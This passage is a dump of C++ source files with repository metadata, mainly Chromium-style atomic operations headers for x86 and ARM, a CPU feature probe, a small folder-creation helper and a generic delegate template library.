AtomicWordCastType*>(ptr)); } inline AtomicWord Release_Load(volatile const AtomicWord* ptr) { return base::subtle::Release_Load( reinterpret_cast<volatile const AtomicWordCastType*>(ptr)); } #undef AtomicWordCastType } // namespace base::subtle } // namespace base #endif // BASE_ATOMICOPS_INTERNALS_X86_MACOSX_H_
zzip
base/atomicops_internals_x86_macosx.h
C++
asf20
8,885
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This module gets enough CPU information to optimize the // atomicops module on x86. #include <string.h> #include "atomicops.h" // This file only makes sense with atomicops_internals_x86_gcc.h -- it // depends on structs that are defined in that file. If atomicops.h // doesn't sub-include that file, then we aren't needed, and shouldn't // try to do anything. #ifdef BASE_ATOMICOPS_INTERNALS_X86_GCC_H_ // Inline cpuid instruction. In PIC compilations, %ebx contains the address // of the global offset table. To avoid breaking such executables, this code // must preserve that register's value across cpuid instructions. #if defined(__i386__) #define cpuid(a, b, c, d, inp) \ asm ("mov %%ebx, %%edi\n" \ "cpuid\n" \ "xchg %%edi, %%ebx\n" \ : "=a" (a), "=D" (b), "=c" (c), "=d" (d) : "a" (inp)) #elif defined (__x86_64__) #define cpuid(a, b, c, d, inp) \ asm ("mov %%rbx, %%rdi\n" \ "cpuid\n" \ "xchg %%rdi, %%rbx\n" \ : "=a" (a), "=D" (b), "=c" (c), "=d" (d) : "a" (inp)) #endif #if defined(cpuid) // initialize the struct only on x86 // Set the flags so that code will run correctly and conservatively, so even // if we haven't been initialized yet, we're probably single threaded, and our // default values should hopefully be pretty safe. struct AtomicOps_x86CPUFeatureStruct AtomicOps_Internalx86CPUFeatures = { false, // bug can't exist before process spawns multiple threads false, // no SSE2 }; // Initialize the AtomicOps_Internalx86CPUFeatures struct. static void AtomicOps_Internalx86CPUFeaturesInit() { uint32 eax; uint32 ebx; uint32 ecx; uint32 edx; // Get vendor string (issue CPUID with eax = 0) cpuid(eax, ebx, ecx, edx, 0); char vendor[13]; memcpy(vendor, &ebx, 4); memcpy(vendor + 4, &edx, 4); memcpy(vendor + 8, &ecx, 4); vendor[12] = 0; // get feature flags in ecx/edx, and family/model in eax cpuid(eax, ebx, ecx, edx, 1); int family = (eax >> 8) & 0xf; // family and model fields int model = (eax >> 4) & 0xf; if (family == 0xf) { // use extended family and model fields family += (eax >> 20) & 0xff; model += ((eax >> 16) & 0xf) << 4; } // Opteron Rev E has a bug in which on very rare occasions a locked // instruction doesn't act as a read-acquire barrier if followed by a // non-locked read-modify-write instruction. Rev F has this bug in // pre-release versions, but not in versions released to customers, // so we test only for Rev E, which is family 15, model 32..63 inclusive. if (strcmp(vendor, "AuthenticAMD") == 0 && // AMD family == 15 && 32 <= model && model <= 63) { AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug = true; } else { AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug = false; } // edx bit 26 is SSE2 which we use to tell use whether we can use mfence AtomicOps_Internalx86CPUFeatures.has_sse2 = ((edx >> 26) & 1); } namespace { class AtomicOpsx86Initializer { public: AtomicOpsx86Initializer() { AtomicOps_Internalx86CPUFeaturesInit(); } }; // A global to get use initialized on startup via static initialization :/ AtomicOpsx86Initializer g_initer; } // namespace #endif // if x86 #endif // ifdef BASE_ATOMICOPS_INTERNALS_X86_GCC_H_
zzip
base/atomicops_internals_x86_gcc.cc
C++
asf20
3,530
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file is an internal atomic implementation, use base/atomicops.h instead. #ifndef BASE_ATOMICOPS_INTERNALS_X86_GCC_H_ #define BASE_ATOMICOPS_INTERNALS_X86_GCC_H_ #pragma once // This struct is not part of the public API of this module; clients may not // use it. // Features of this x86. Values may not be correct before main() is run, // but are set conservatively. struct AtomicOps_x86CPUFeatureStruct { bool has_amd_lock_mb_bug; // Processor has AMD memory-barrier bug; do lfence // after acquire compare-and-swap. bool has_sse2; // Processor has SSE2. }; extern struct AtomicOps_x86CPUFeatureStruct AtomicOps_Internalx86CPUFeatures; #define ATOMICOPS_COMPILER_BARRIER() __asm__ __volatile__("" : : : "memory") namespace base { namespace subtle { // 32-bit low-level operations on any platform. inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 prev; __asm__ __volatile__("lock; cmpxchgl %1,%2" : "=a" (prev) : "q" (new_value), "m" (*ptr), "0" (old_value) : "memory"); return prev; } inline Atomic32 NoBarrier_AtomicExchange(volatile Atomic32* ptr, Atomic32 new_value) { __asm__ __volatile__("xchgl %1,%0" // The lock prefix is implicit for xchg. : "=r" (new_value) : "m" (*ptr), "0" (new_value) : "memory"); return new_value; // Now it's the previous value. } inline Atomic32 NoBarrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { Atomic32 temp = increment; __asm__ __volatile__("lock; xaddl %0,%1" : "+r" (temp), "+m" (*ptr) : : "memory"); // temp now holds the old value of *ptr return temp + increment; } inline Atomic32 Barrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { Atomic32 temp = increment; __asm__ __volatile__("lock; xaddl %0,%1" : "+r" (temp), "+m" (*ptr) : : "memory"); // temp now holds the old value of *ptr if (AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug) { __asm__ __volatile__("lfence" : : : "memory"); } return temp + increment; } inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 x = NoBarrier_CompareAndSwap(ptr, old_value, new_value); if (AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug) { __asm__ __volatile__("lfence" : : : "memory"); } return x; } inline Atomic32 Release_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline void NoBarrier_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; } #if defined(__x86_64__) // 64-bit implementations of memory barrier can be simpler, because it // "mfence" is guaranteed to exist. inline void MemoryBarrier() { __asm__ __volatile__("mfence" : : : "memory"); } inline void Acquire_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; MemoryBarrier(); } #else inline void MemoryBarrier() { if (AtomicOps_Internalx86CPUFeatures.has_sse2) { __asm__ __volatile__("mfence" : : : "memory"); } else { // mfence is faster but not present on PIII Atomic32 x = 0; NoBarrier_AtomicExchange(&x, 0); // acts as a barrier on PIII } } inline void Acquire_Store(volatile Atomic32* ptr, Atomic32 value) { if (AtomicOps_Internalx86CPUFeatures.has_sse2) { *ptr = value; __asm__ __volatile__("mfence" : : : "memory"); } else { NoBarrier_AtomicExchange(ptr, value); // acts as a barrier on PIII } } #endif inline void Release_Store(volatile Atomic32* ptr, Atomic32 value) { ATOMICOPS_COMPILER_BARRIER(); *ptr = value; // An x86 store acts as a release barrier. // See comments in Atomic64 version of Release_Store(), below. } inline Atomic32 NoBarrier_Load(volatile const Atomic32* ptr) { return *ptr; } inline Atomic32 Acquire_Load(volatile const Atomic32* ptr) { Atomic32 value = *ptr; // An x86 load acts as a acquire barrier. // See comments in Atomic64 version of Release_Store(), below. ATOMICOPS_COMPILER_BARRIER(); return value; } inline Atomic32 Release_Load(volatile const Atomic32* ptr) { MemoryBarrier(); return *ptr; } #if defined(__x86_64__) // 64-bit low-level operations on 64-bit platform. inline Atomic64 NoBarrier_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { Atomic64 prev; __asm__ __volatile__("lock; cmpxchgq %1,%2" : "=a" (prev) : "q" (new_value), "m" (*ptr), "0" (old_value) : "memory"); return prev; } inline Atomic64 NoBarrier_AtomicExchange(volatile Atomic64* ptr, Atomic64 new_value) { __asm__ __volatile__("xchgq %1,%0" // The lock prefix is implicit for xchg. : "=r" (new_value) : "m" (*ptr), "0" (new_value) : "memory"); return new_value; // Now it's the previous value. } inline Atomic64 NoBarrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment) { Atomic64 temp = increment; __asm__ __volatile__("lock; xaddq %0,%1" : "+r" (temp), "+m" (*ptr) : : "memory"); // temp now contains the previous value of *ptr return temp + increment; } inline Atomic64 Barrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment) { Atomic64 temp = increment; __asm__ __volatile__("lock; xaddq %0,%1" : "+r" (temp), "+m" (*ptr) : : "memory"); // temp now contains the previous value of *ptr if (AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug) { __asm__ __volatile__("lfence" : : : "memory"); } return temp + increment; } inline void NoBarrier_Store(volatile Atomic64* ptr, Atomic64 value) { *ptr = value; } inline void Acquire_Store(volatile Atomic64* ptr, Atomic64 value) { *ptr = value; MemoryBarrier(); } inline void Release_Store(volatile Atomic64* ptr, Atomic64 value) { ATOMICOPS_COMPILER_BARRIER(); *ptr = value; // An x86 store acts as a release barrier // for current AMD/Intel chips as of Jan 2008. // See also Acquire_Load(), below. // When new chips come out, check: // IA-32 Intel Architecture Software Developer's Manual, Volume 3: // System Programming Guide, Chatper 7: Multiple-processor management, // Section 7.2, Memory Ordering. // Last seen at: // http://developer.intel.com/design/pentium4/manuals/index_new.htm // // x86 stores/loads fail to act as barriers for a few instructions (clflush // maskmovdqu maskmovq movntdq movnti movntpd movntps movntq) but these are // not generated by the compiler, and are rare. Users of these instructions // need to know about cache behaviour in any case since all of these involve // either flushing cache lines or non-temporal cache hints. } inline Atomic64 NoBarrier_Load(volatile const Atomic64* ptr) { return *ptr; } inline Atomic64 Acquire_Load(volatile const Atomic64* ptr) { Atomic64 value = *ptr; // An x86 load acts as a acquire barrier, // for current AMD/Intel chips as of Jan 2008. // See also Release_Store(), above. ATOMICOPS_COMPILER_BARRIER(); return value; } inline Atomic64 Release_Load(volatile const Atomic64* ptr) { MemoryBarrier(); return *ptr; } inline Atomic64 Acquire_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { Atomic64 x = NoBarrier_CompareAndSwap(ptr, old_value, new_value); if (AtomicOps_Internalx86CPUFeatures.has_amd_lock_mb_bug) { __asm__ __volatile__("lfence" : : : "memory"); } return x; } inline Atomic64 Release_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } #endif // defined(__x86_64__) } // namespace base::subtle } // namespace base #undef ATOMICOPS_COMPILER_BARRIER #endif // BASE_ATOMICOPS_INTERNALS_X86_GCC_H_
zzip
base/atomicops_internals_x86_gcc.h
C++
asf20
9,145
#include "StdAfx.h" #include "filehelper.h" #include <io.h> #include <direct.h> bool base::utils::filehelper::CreateFolder(tstring sPath, bool bFile) { tstring pathTmp = sPath; //format path string to unix style. for (size_t i=0; i<pathTmp.size(); ++i) { if (pathTmp[i] == _T('\\')) pathTmp[i] = _T('/'); } if (bFile) pathTmp = pathTmp.substr(0, pathTmp.find_last_of(_T("/"))+1); else pathTmp += _T('/'); //mkdir begin TCHAR* t = const_cast<TCHAR*>(pathTmp.c_str()); while (t = _tcschr(++t, _T('/'))) { *t = 0; if (_taccess(pathTmp.c_str(), 0) == -1) { _tmkdir(pathTmp.c_str()); } *t = _T('/'); } return true; } bool base::utils::filehelper::IsFileExists(const tstring sFileName) { return (_taccess(sFileName.c_str(), 0) != -1); }
zzip
base/utils/filehelper.cc
C++
asf20
803
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file is an internal atomic implementation, use base/atomicops.h instead. // // LinuxKernelCmpxchg and Barrier_AtomicIncrement are from Google Gears. #ifndef BASE_ATOMICOPS_INTERNALS_ARM_GCC_H_ #define BASE_ATOMICOPS_INTERNALS_ARM_GCC_H_ #pragma once namespace base { namespace subtle { // 0xffff0fc0 is the hard coded address of a function provided by // the kernel which implements an atomic compare-exchange. On older // ARM architecture revisions (pre-v6) this may be implemented using // a syscall. This address is stable, and in active use (hard coded) // by at least glibc-2.7 and the Android C library. typedef Atomic32 (*LinuxKernelCmpxchgFunc)(Atomic32 old_value, Atomic32 new_value, volatile Atomic32* ptr); LinuxKernelCmpxchgFunc pLinuxKernelCmpxchg __attribute__((weak)) = (LinuxKernelCmpxchgFunc) 0xffff0fc0; typedef void (*LinuxKernelMemoryBarrierFunc)(void); LinuxKernelMemoryBarrierFunc pLinuxKernelMemoryBarrier __attribute__((weak)) = (LinuxKernelMemoryBarrierFunc) 0xffff0fa0; inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 prev_value = *ptr; do { if (!pLinuxKernelCmpxchg(old_value, new_value, const_cast<Atomic32*>(ptr))) { return old_value; } prev_value = *ptr; } while (prev_value == old_value); return prev_value; } inline Atomic32 NoBarrier_AtomicExchange(volatile Atomic32* ptr, Atomic32 new_value) { Atomic32 old_value; do { old_value = *ptr; } while (pLinuxKernelCmpxchg(old_value, new_value, const_cast<Atomic32*>(ptr))); return old_value; } inline Atomic32 NoBarrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { return Barrier_AtomicIncrement(ptr, increment); } inline Atomic32 Barrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { for (;;) { // Atomic exchange the old value with an incremented one. Atomic32 old_value = *ptr; Atomic32 new_value = old_value + increment; if (pLinuxKernelCmpxchg(old_value, new_value, const_cast<Atomic32*>(ptr)) == 0) { // The exchange took place as expected. return new_value; } // Otherwise, *ptr changed mid-loop and we need to retry. } } inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline Atomic32 Release_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline void NoBarrier_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; } inline void MemoryBarrier() { pLinuxKernelMemoryBarrier(); } inline void Acquire_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; MemoryBarrier(); } inline void Release_Store(volatile Atomic32* ptr, Atomic32 value) { MemoryBarrier(); *ptr = value; } inline Atomic32 NoBarrier_Load(volatile const Atomic32* ptr) { return *ptr; } inline Atomic32 Acquire_Load(volatile const Atomic32* ptr) { Atomic32 value = *ptr; MemoryBarrier(); return value; } inline Atomic32 Release_Load(volatile const Atomic32* ptr) { MemoryBarrier(); return *ptr; } } // namespace base::subtle } // namespace base #endif // BASE_ATOMICOPS_INTERNALS_ARM_GCC_H_
zzip
base/atomicops_internals_arm_gcc.h
C++
asf20
4,024
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // For atomic operations on reference counts, see atomic_refcount.h. // For atomic operations on sequence numbers, see atomic_sequence_num.h. // The routines exported by this module are subtle. If you use them, even if // you get the code right, it will depend on careful reasoning about atomicity // and memory ordering; it will be less readable, and harder to maintain. If // you plan to use these routines, you should have a good reason, such as solid // evidence that performance would otherwise suffer, or there being no // alternative. You should assume only properties explicitly guaranteed by the // specifications in this file. You are almost certainly _not_ writing code // just for the x86; if you assume x86 semantics, x86 hardware bugs and // implementations on other archtectures will cause your code to break. If you // do not know what you are doing, avoid these routines, and use a Mutex. // // It is incorrect to make direct assignments to/from an atomic variable. // You should use one of the Load or Store routines. The NoBarrier // versions are provided when no barriers are needed: // NoBarrier_Store() // NoBarrier_Load() // Although there are currently no compiler enforcement, you are encouraged // to use these. // #ifndef BASE_ATOMICOPS_H_ #define BASE_ATOMICOPS_H_ #pragma once #include "typedefs.h" namespace base { namespace subtle { // Bug 1308991. We need this for /Wp64, to mark it safe for AtomicWord casting. #ifndef OS_WIN #define __w64 #endif typedef __w64 int Atomic32; #ifdef ARCH_CPU_64_BITS // We need to be able to go between Atomic64 and AtomicWord implicitly. This // means Atomic64 and AtomicWord should be the same type on 64-bit. typedef intptr_t Atomic64; #endif // Use AtomicWord for a machine-sized pointer. It will use the Atomic32 or // Atomic64 routines below, depending on your architecture. typedef intptr_t AtomicWord; // Atomically execute: // result = *ptr; // if (*ptr == old_value) // *ptr = new_value; // return result; // // I.e., replace "*ptr" with "new_value" if "*ptr" used to be "old_value". // Always return the old value of "*ptr" // // This routine implies no memory barriers. Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value); // Atomically store new_value into *ptr, returning the previous value held in // *ptr. This routine implies no memory barriers. Atomic32 NoBarrier_AtomicExchange(volatile Atomic32* ptr, Atomic32 new_value); // Atomically increment *ptr by "increment". Returns the new value of // *ptr with the increment applied. This routine implies no memory barriers. Atomic32 NoBarrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment); Atomic32 Barrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment); // These following lower-level operations are typically useful only to people // implementing higher-level synchronization operations like spinlocks, // mutexes, and condition-variables. They combine CompareAndSwap(), a load, or // a store with appropriate memory-ordering instructions. "Acquire" operations // ensure that no later memory access can be reordered ahead of the operation. // "Release" operations ensure that no previous memory access can be reordered // after the operation. "Barrier" operations have both "Acquire" and "Release" // semantics. A MemoryBarrier() has "Barrier" semantics, but does no memory // access. Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value); Atomic32 Release_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value); void MemoryBarrier(); void NoBarrier_Store(volatile Atomic32* ptr, Atomic32 value); void Acquire_Store(volatile Atomic32* ptr, Atomic32 value); void Release_Store(volatile Atomic32* ptr, Atomic32 value); Atomic32 NoBarrier_Load(volatile const Atomic32* ptr); Atomic32 Acquire_Load(volatile const Atomic32* ptr); Atomic32 Release_Load(volatile const Atomic32* ptr); // 64-bit atomic operations (only available on 64-bit processors). #ifdef ARCH_CPU_64_BITS Atomic64 NoBarrier_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value); Atomic64 NoBarrier_AtomicExchange(volatile Atomic64* ptr, Atomic64 new_value); Atomic64 NoBarrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment); Atomic64 Barrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment); Atomic64 Acquire_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value); Atomic64 Release_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value); void NoBarrier_Store(volatile Atomic64* ptr, Atomic64 value); void Acquire_Store(volatile Atomic64* ptr, Atomic64 value); void Release_Store(volatile Atomic64* ptr, Atomic64 value); Atomic64 NoBarrier_Load(volatile const Atomic64* ptr); Atomic64 Acquire_Load(volatile const Atomic64* ptr); Atomic64 Release_Load(volatile const Atomic64* ptr); #endif // ARCH_CPU_64_BITS } // namespace base::subtle } // namespace base // Include our platform specific implementation. #if defined(OS_WIN) && defined(COMPILER_MSVC) && defined(ARCH_CPU_X86_FAMILY) #include "atomicops_internals_x86_msvc.h" #elif defined(OS_MACOSX) && defined(ARCH_CPU_X86_FAMILY) #include "atomicops_internals_x86_macosx.h" #elif defined(COMPILER_GCC) && defined(ARCH_CPU_X86_FAMILY) #include "atomicops_internals_x86_gcc.h" #elif defined(COMPILER_GCC) && defined(ARCH_CPU_ARM_FAMILY) #include "atomicops_internals_arm_gcc.h" #else #error "Atomic operations are not supported on your platform" #endif #endif // BASE_ATOMICOPS_H_
zzip
base/atomicops.h
C++
asf20
6,228
// // package_helper.hpp // ~~~~~~~~~ // // Copyright (c) 2003-2013 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef package_helper_h__ #define package_helper_h__ #include "protocol.hpp" namespace wayixia { namespace protocol { class package_helper { public: }; // class package_helper } }// namespace wayixia #endif // package_helper_h__
zzip
package_helper.hpp
C++
asf20
543
test
zzip
test.c
C
asf20
4
//------------------------------------------------------------------------- // // Copyright (C) 2004-2005 Yingle Jia // // Permission to copy, use, modify, sell and distribute this software is // granted provided this copyright notice appears in all copies. // This software is provided "as is" without express or implied warranty, // and with no claim as to its suitability for any purpose. // // AcfDelegate.h // #ifndef __Acf_Delegate__ #define __Acf_Delegate__ #include <stdexcept> // for std::logic_error #include <utility> // for std::pair // Macros for template metaprogramming #define ACF_JOIN(a, b) ACF_DO_JOIN(a, b) #define ACF_DO_JOIN(a, b) ACF_DO_JOIN2(a, b) #define ACF_DO_JOIN2(a, b) a##b #define ACF_MAKE_PARAMS1_0(t) #define ACF_MAKE_PARAMS1_1(t) t##1 #define ACF_MAKE_PARAMS1_2(t) t##1, ##t##2 #define ACF_MAKE_PARAMS1_3(t) t##1, ##t##2, ##t##3 #define ACF_MAKE_PARAMS1_4(t) t##1, ##t##2, ##t##3, ##t##4 #define ACF_MAKE_PARAMS1_5(t) t##1, ##t##2, ##t##3, ##t##4, ##t##5 #define ACF_MAKE_PARAMS1_6(t) t##1, ##t##2, ##t##3, ##t##4, ##t##5, ##t##6 #define ACF_MAKE_PARAMS2_0(t1, t2) #define ACF_MAKE_PARAMS2_1(t1, t2) t1##1 t2##1 #define ACF_MAKE_PARAMS2_2(t1, t2) t1##1 t2##1, t1##2 t2##2 #define ACF_MAKE_PARAMS2_3(t1, t2) t1##1 t2##1, t1##2 t2##2, t1##3 t2##3 #define ACF_MAKE_PARAMS2_4(t1, t2) t1##1 t2##1, t1##2 t2##2, t1##3 t2##3, t1##4 t2##4 #define ACF_MAKE_PARAMS2_5(t1, t2) t1##1 t2##1, t1##2 t2##2, t1##3 t2##3, t1##4 t2##4, t1##5 t2##5 #define ACF_MAKE_PARAMS2_6(t1, t2) t1##1 t2##1, t1##2 t2##2, t1##3 t2##3, t1##4 t2##4, t1##5 t2##5, t1##6 t2##6 #define ACF_MAKE_PARAMS1(n, t) ACF_JOIN(ACF_MAKE_PARAMS1_, n) (t) #define ACF_MAKE_PARAMS2(n, t1, t2) ACF_JOIN(ACF_MAKE_PARAMS2_, n) (t1, t2) namespace Acf { class InvalidCallException : public std::logic_error { public: InvalidCallException() : std::logic_error("An empty delegate is called") { } }; template <class T> inline static T _HandleInvalidCall() { throw InvalidCallException(); } template <> inline static void _HandleInvalidCall<void>() { } template <class TSignature> class Delegate; // no body } // namespace Acf // Specializations #define ACF_DELEGATE_NUM_ARGS 0 // Delegate<R ()> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 1 // Delegate<R (T1)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 2 // Delegate<R (T1, T2)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 3 // Delegate<R (T1, T2, T3)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 4 // Delegate<R (T1, T2, T3, T4)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 5 // Delegate<R (T1, T2, T3, T4, T5)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #define ACF_DELEGATE_NUM_ARGS 6 // Delegate<R (T1, T2, T3, T4, T5, T6)> #include "AcfDelegateTemplate.h" #undef ACF_DELEGATE_NUM_ARGS #endif // #ifndef __Acf_Delegate__
zzip
ZZipLib/AcfDelegate.h
C++
asf20
3,208
//------------------------------------------------------------------------- // // Copyright (C) 2004-2005 Yingle Jia // // Permission to copy, use, modify, sell and distribute this software is // granted provided this copyright notice appears in all copies. // This software is provided "as is" without express or implied warranty, // and with no claim as to its suitability for any purpose. // // AcfDelegateTemplate.h // // Note: this header is a header template and must NOT have multiple-inclusion // protection. #define ACF_DELEGATE_TEMPLATE_PARAMS ACF_MAKE_PARAMS1(ACF_DELEGATE_NUM_ARGS, class T) // class T0, class T1, class T2, ... #define ACF_DELEGATE_TEMPLATE_ARGS ACF_MAKE_PARAMS1(ACF_DELEGATE_NUM_ARGS, T) // T0, T1, T2, ... #define ACF_DELEGATE_FUNCTION_PARAMS ACF_MAKE_PARAMS2(ACF_DELEGATE_NUM_ARGS, T, a) // T0 a0, T1 a1, T2 a2, ... #define ACF_DELEGATE_FUNCTION_ARGS ACF_MAKE_PARAMS1(ACF_DELEGATE_NUM_ARGS, a) // a0, a1, a2, ... // Comma if nonzero number of arguments #if ACF_DELEGATE_NUM_ARGS == 0 #define ACF_DELEGATE_COMMA #else #define ACF_DELEGATE_COMMA , #endif namespace Acf { //------------------------------------------------------------------------- // class Delegate<R (T1, T2, ..., TN)> template <class R ACF_DELEGATE_COMMA ACF_DELEGATE_TEMPLATE_PARAMS> class Delegate<R (ACF_DELEGATE_TEMPLATE_ARGS)> { // Declaractions private: class DelegateImplBase { // Fields public: DelegateImplBase* Previous; // singly-linked list // Constructor/Destructor protected: DelegateImplBase() : Previous(NULL) { } DelegateImplBase(const DelegateImplBase& other) : Previous(NULL) { } public: virtual ~DelegateImplBase() { } // Methods public: virtual DelegateImplBase* Clone() const = 0; virtual R Invoke(ACF_DELEGATE_FUNCTION_PARAMS) const = 0; }; template <class TFunctor> struct Invoker { static R Invoke(const TFunctor& f ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_PARAMS) { return (const_cast<TFunctor&>(f))(ACF_DELEGATE_FUNCTION_ARGS); } }; template <class TPtr, class TFunctionPtr> struct Invoker<std::pair<TPtr, TFunctionPtr> > { static R Invoke(const std::pair<TPtr, TFunctionPtr>& mf ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_PARAMS) { return ((*mf.first).*mf.second)(ACF_DELEGATE_FUNCTION_ARGS); } }; template <class TFunctor> class DelegateImpl : public DelegateImplBase { // Fields public: TFunctor Functor; // Constructor public: DelegateImpl(const TFunctor& f) : Functor(f) { } DelegateImpl(const DelegateImpl& other) : Functor(other.Functor) { } // Methods public: virtual DelegateImplBase* Clone() const { return new DelegateImpl(*this); } virtual R Invoke(ACF_DELEGATE_FUNCTION_PARAMS) const { return Invoker<TFunctor>::Invoke(this->Functor ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_ARGS); } }; // Fields private: DelegateImplBase* _last; // Constructor/Destructor public: Delegate() { this->_last = NULL; } template <class TFunctor> Delegate(const TFunctor& f) { this->_last = NULL; *this = f; } template<class TPtr, class TFunctionPtr> Delegate(const TPtr& obj, const TFunctionPtr& mfp) { this->_last = NULL; *this = std::make_pair(obj, mfp); } Delegate(const Delegate& d) { this->_last = NULL; *this = d; } ~Delegate() { Clear(); } // Properties public: bool IsEmpty() const { return (this->_last == NULL); } bool IsMulticast() const { return (this->_last != NULL && this->_last->Previous != NULL); } // Static Methods private: static DelegateImplBase* CloneDelegateList(DelegateImplBase* list, /*out*/ DelegateImplBase** first) { DelegateImplBase* list2 = list; DelegateImplBase* newList = NULL; DelegateImplBase** pp = &newList; DelegateImplBase* temp = NULL; try { while (list2 != NULL) { temp = list2->Clone(); *pp = temp; pp = &temp->Previous; list2 = list2->Previous; } } catch (...) { FreeDelegateList(newList); throw; } if (first != NULL) *first = temp; return newList; } static void FreeDelegateList(DelegateImplBase* list) { DelegateImplBase* temp = NULL; while (list != NULL) { temp = list->Previous; delete list; list = temp; } } static void InvokeDelegateList(DelegateImplBase* list ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_PARAMS) { if (list != NULL) { if (list->Previous != NULL) InvokeDelegateList(list->Previous ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_ARGS); list->Invoke(ACF_DELEGATE_FUNCTION_ARGS); } } // Methods public: template <class TFunctor> void Add(const TFunctor& f) { DelegateImplBase* d = new DelegateImpl<TFunctor>(f); d->Previous = this->_last; this->_last = d; } template<class TPtr, class TFunctionPtr> void Add(const TPtr& obj, const TFunctionPtr& mfp) { DelegateImplBase* d = new DelegateImpl<std::pair<TPtr, TFunctionPtr> >(std::make_pair(obj, mfp)); d->Previous = this->_last; this->_last = d; } template <class TFunctor> bool Remove(const TFunctor& f) { DelegateImplBase* d = this->_last; DelegateImplBase** pp = &this->_last; DelegateImpl<TFunctor>* impl = NULL; while (d != NULL) { impl = dynamic_cast<DelegateImpl<TFunctor>*>(d); if (impl != NULL && impl->Functor == f) { *pp = d->Previous; delete impl; return true; } pp = &d->Previous; d = d->Previous; } return false; } template<class TPtr, class TFunctionPtr> bool Remove(const TPtr& obj, const TFunctionPtr& mfp) { return Remove(std::make_pair(obj, mfp)); } void Clear() { FreeDelegateList(this->_last); this->_last = NULL; } private: template <class TFunctor> bool Equals(const TFunctor& f) const { if (this->_last == NULL || this->_last->Previous != NULL) return false; DelegateImpl<TFunctor>* impl = dynamic_cast<DelegateImpl<TFunctor>*>(this->_last); if (impl == NULL) return false; return (impl->Functor == f); } // Operators public: operator bool() const { return !IsEmpty(); } bool operator!() const { return IsEmpty(); } template <class TFunctor> Delegate& operator=(const TFunctor& f) { DelegateImplBase* d = new DelegateImpl<TFunctor>(f); FreeDelegateList(this->_last); this->_last = d; return *this; } Delegate& operator=(const Delegate& d) { if (this != &d) { DelegateImplBase* list = CloneDelegateList(d._last, NULL); FreeDelegateList(this->_last); this->_last = list; } return *this; } template <class TFunctor> Delegate& operator+=(const TFunctor& f) { Add(f); return *this; } template <class TFunctor> friend Delegate operator+(const Delegate& d, const TFunctor& f) { return (Delegate(d) += f); } template <class 